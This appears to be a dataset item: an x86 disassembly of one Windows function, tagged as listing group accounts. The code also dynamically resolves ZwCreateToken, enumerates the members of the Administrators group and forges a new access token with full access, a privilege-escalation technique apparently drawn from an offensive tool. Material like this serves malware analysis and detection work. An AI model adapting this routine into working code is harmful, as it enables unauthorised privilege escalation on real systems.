Function at 0x40942f
Capabilities:
List user accounts for group

Disassembly:
push ebp
lea ebp, [esp - 0x64]
sub esp, 0xd8
mov eax, dword [0x45c530]
xor eax, ebp
mov dword [ebp + 0x60], eax
mov eax, dword [ebp + 0x70]
mov ecx, dword [ebp + 0x6c]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x74]
push ebx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 0x78]
xor ebx, ebx
cmp ecx, ebx
mov dword [ebp + 0x14], ecx
mov dword [ebp - 0x28], eax
jne 0x409474
cmp eax, ebx
je 0x40946d
mov dword [eax], 0xfffffffc
xor eax, eax
jmp 0x40997b
push esi
push edi
xor eax, eax
mov dword [ebp - 0x1c], ebx
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
mov esi, 0x44bb68
lea edi, [ebp + 0x44]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, 0x44bb50
lea edi, [ebp + 0x28]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, 0x44bb74
lea edi, [ebp + 0x34]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x5c]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x60], eax
xor eax, eax
mov dword [ebp - 0x44], ebx
lea edi, [ebp - 0x40]
push 0x44bbcc
mov dword [ebp + 0x18], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x3c], 0x3e6
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x5c], 0xc
mov dword [ebp - 0x58], 2
mov byte [ebp - 0x54], bl
mov byte [ebp - 0x53], bl
mov dword [ebp - 0x74], 0x18
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x64], ebx
mov byte [ebp + 0x50], 0x55
mov byte [ebp + 0x51], 0x73
mov byte [ebp + 0x52], 0x65
mov byte [ebp + 0x53], 0x72
mov byte [ebp + 0x54], 0x33
mov byte [ebp + 0x55], 0x32
mov byte [ebp + 0x56], 0x30
mov byte [ebp + 0x57], 0x30
mov dword [ebp + 0x58], ebx
mov dword [ebp + 0x5c], ebx
mov dword [ebp + 0x24], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x24], ebx
stosd dword es:[edi], eax
mov dword [ebp + 8], ebx
mov dword [ebp], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
mov dword [ebp + 0x1c], ebx
mov dword [ebp + 0xc], ebx
mov dword [ebp + 0x10], ebx
mov dword [ebp + 4], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp + 0x20], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.ZwCreateToken
push esi
call edi
push str.RtlNtStatusToDosError
push esi
mov dword [ebp - 0x2c], eax
call edi
cmp dword [ebp - 0x2c], ebx
mov dword [ebp - 0x50], eax
je 0x40996a
cmp eax, ebx
je 0x40996a
lea eax, [ebp + 0x20]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.00409036
mov esi, dword [ebp + 0x14]
lea eax, [ebp + 0x34]
mov dword [ebp - 0x24], eax
push ebx
lea eax, [ebp + 8]
push eax
push 0xa
push esi
call fcn.004092f1
add esp, 0x1c
test eax, eax
jne 0x4095ab
mov dword [ebp + 0x18], 0xfffffff9
jmp 0x4098ea
push ebx
lea eax, [ebp + 0x10]
push eax
push 2
push esi
call fcn.004092f1
add esp, 0x10
test eax, eax
jne 0x4095cb
mov dword [ebp + 0x18], 0xfffffff8
jmp 0x4098ea
push ebx
lea eax, [ebp]
push eax
push 5
push esi
call fcn.004092f1
add esp, 0x10
test eax, eax
jne 0x4095eb
mov dword [ebp + 0x18], 0xfffffff7
jmp 0x4098ea
cmp dword [ebp - 0x30], ebx
jne 0x409608
push ebx
lea eax, [ebp - 8]
push eax
push 1
push esi
call fcn.004092f1
add esp, 0x10
test eax, eax
je 0x4098ea
cmp dword [ebp - 0x10], ebx
jne 0x409633
push ebx
lea eax, [ebp - 4]
push eax
push 3
push esi
call fcn.004092f1
add esp, 0x10
test eax, eax
jne 0x40962d
mov dword [ebp + 0x18], 0xfffffff6
jmp 0x4098ea
mov eax, dword [ebp - 4]
mov dword [ebp - 0x10], eax
cmp dword [ebp + 0x7c], ebx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x10]
mov dword [ebp - 0x44], ecx
mov ecx, dword [eax + 0x14]
mov dword [ebp - 0x40], ecx
jne 0x409653
mov ecx, dword [eax + 8]
mov dword [ebp - 0x3c], ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x14], 2
jne 0x409666
cmp dword [ebp - 0xc], 6
mov dword [ebp + 0x20], 1
je 0x409669
mov dword [ebp + 0x20], ebx
mov edi, dword [ebp + 0x10]
or dword [ebp + 0x14], 0xffffffff
cmp dword [edi], ebx
mov dword [ebp + 0x24], ebx
jbe 0x4096eb
lea esi, [edi + 4]
cmp dword [ebp + 0x20], ebx
je 0x4096a8
push dword [esi]
call fcn.004090da
test eax, eax
pop ecx
jne 0x4096a3
push dword [esi]
call fcn.004090fb
test eax, eax
pop ecx
jne 0x4096a3
push dword [esi]
call fcn.0040911c
test eax, eax
pop ecx
je 0x4096a8
lea eax, [ebp + 0x28]
mov dword [esi], eax
mov ecx, dword [esi]
push ecx
call fcn.0040916c
add esp, 4
test eax, eax
je 0x4096bd
mov eax, dword [ebp + 0x24]
mov dword [ebp + 0x14], eax
push ecx
call fcn.0040913d
add esp, 4
test eax, eax
je 0x4096d8
mov dword [ebp + 0x1c], 1
mov dword [esi + 4], 0xf
inc dword [ebp + 0x24]
mov eax, dword [ebp + 0x24]
add esi, 8
cmp eax, dword [edi]
jb 0x40967a
cmp dword [ebp + 0x14], 0xffffffff
jne 0x4096f2
mov dword [ebp + 0x18], 0xfffffff5
cmp dword [ebp + 0x1c], ebx
mov dword [ebp + 0x20], ebx
jne 0x4097a2
push ebx
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x48]
push eax
push 0xffffffffffffffff
lea eax, [ebp + 0xc]
push eax
push ebx
push str.Administrators
push ebx
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x4c], ebx
call sub.NETAPI32.dll_NetLocalGroupGetMembers
mov eax, dword [ebp + 0xc]
cmp eax, ebx
je 0x40972b
mov eax, dword [eax]
mov dword [ebp + 0x20], eax
mov eax, dword [edi]
lea eax, [eax*8 + 0xc]
push eax
mov dword [ebp + 0x1c], eax
call fcn.0042c1f0
push dword [ebp + 0x1c]
mov esi, eax
push ebx
push esi
mov dword [ebp + 4], esi
call fcn.0042c350
mov eax, dword [edi]
add esp, 0x10
inc eax
mov dword [esi], eax
cmp dword [edi], ebx
mov dword [ebp + 0x24], ebx
jbe 0x40979d
lea edx, [esi + 8]
lea eax, [edi + 8]
lea ecx, [esi + 4]
mov esi, dword [ebp + 0x24]
cmp esi, dword [ebp + 0x14]
jne 0x40977d
lea edi, [ebp + 0x34]
mov dword [ecx], edi
mov dword [edx], 0xf
add ecx, 8
add edx, 8
mov edi, dword [eax - 4]
mov dword [ecx], edi
mov edi, dword [eax]
mov dword [edx], edi
mov edi, dword [ebp + 0x10]
inc esi
add eax, 8
add ecx, 8
add edx, 8
cmp esi, dword [edi]
mov dword [ebp + 0x24], esi
jb 0x409764
mov esi, dword [ebp + 4]
mov dword [ebp + 0x1c], esi
jmp 0x4097a5
mov dword [ebp + 0x1c], edi
mov eax, dword [ebp - 0x30]
cmp eax, ebx
mov dword [ebp - 0x18], ebx
jne 0x4097bb
mov eax, dword [ebp + 0x20]
cmp eax, ebx
jne 0x4097bb
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp dword [ebp - 0x14], 2
mov dword [ebp - 0x1c], eax
jne 0x409836
cmp dword [ebp - 0xc], 6
jne 0x409836
mov edi, dword [sym.imp.ADVAPI32.dll_GetLengthSid]
lea eax, [ebp + 0x34]
push eax
call edi
mov esi, eax
lea eax, [ebp + 0x44]
push eax
call edi
add esi, eax
lea eax, [ebp + 0x44]
push eax
call edi
lea edi, [eax + esi + 0x2c]
push edi
call fcn.0042c1f0
push edi
mov esi, eax
push ebx
push esi
mov dword [ebp + 0x24], esi
call fcn.0042c350
add esp, 0x10
push 2
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_InitializeAcl]
lea eax, [ebp + 0x34]
push eax
mov edi, 0x10000000
push edi
push 2
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_AddAccessAllowedAce]
call esi
lea eax, [ebp + 0x44]
push eax
push edi
push 2
push dword [ebp + 0x24]
call esi
lea eax, [ebp + 0x44]
push eax
push 0xa0000000
jmp 0x409888
mov edi, dword [sym.imp.ADVAPI32.dll_GetLengthSid]
lea eax, [ebp + 0x34]
push eax
call edi
mov esi, eax
lea eax, [ebp + 0x44]
push eax
call edi
lea edi, [esi + eax + 0x20]
push edi
call fcn.0042c1f0
push edi
mov esi, eax
push ebx
push esi
mov dword [ebp + 0x24], esi
call fcn.0042c350
add esp, 0x10
push 2
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_InitializeAcl]
lea eax, [ebp + 0x34]
push eax
mov edi, 0x10000000
push edi
push 2
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_AddAccessAllowedAce]
call esi
lea eax, [ebp + 0x44]
push eax
push edi
push 2
push dword [ebp + 0x24]
call esi
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x20], eax
lea eax, [ebp + 0x58]
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateLocallyUniqueId]
test eax, eax
jne 0x4098ac
mov dword [ebp + 0x18], 0xfffffff4
jmp 0x4098ea
lea eax, [ebp + 0x50]
push eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp]
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x10]
lea eax, [ebp - 0x1c]
push dword [ebp + 0x1c]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x3c]
push eax
push 1
lea eax, [ebp - 0x74]
push eax
push 0xf01ff
lea eax, [ebp - 0x34]
push eax
call dword [ebp - 0x2c]
push eax
call dword [ebp - 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [ebp - 0x28]
cmp eax, ebx
je 0x4098f6
mov ecx, dword [ebp + 0x18]
mov dword [eax], ecx
cmp dword [ebp + 0x24], ebx
je 0x409904
push dword [ebp + 0x24]
call fcn.0042c2b3
pop ecx
cmp dword [ebp + 4], ebx
je 0x409912
push dword [ebp + 4]
call fcn.0042c2b3
pop ecx
cmp dword [ebp + 0xc], ebx
je 0x40991f
push dword [ebp + 0xc]
call sub.NETAPI32.dll_NetApiBufferFree
cmp dword [ebp + 8], ebx
je 0x40992d
push dword [ebp + 8]
call fcn.0042c2b3
pop ecx
cmp dword [ebp + 0x10], ebx
je 0x40993b
push dword [ebp + 0x10]
call fcn.0042c2b3
pop ecx
cmp dword [ebp], ebx
je 0x409949
push dword [ebp]
call fcn.0042c2b3
pop ecx
cmp dword [ebp - 8], ebx
je 0x409957
push dword [ebp - 8]
call fcn.0042c2b3
pop ecx
cmp dword [ebp - 4], ebx
je 0x409965
push dword [ebp - 4]
call fcn.0042c2b3
pop ecx
mov eax, dword [ebp - 0x34]
jmp 0x409979
mov eax, dword [ebp - 0x28]
cmp eax, ebx
je 0x409977
mov dword [eax], 0xfffffffa
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp + 0x60]
xor ecx, ebp
pop ebx
call fcn.0042c3ca
add ebp, 0x64
leave
ret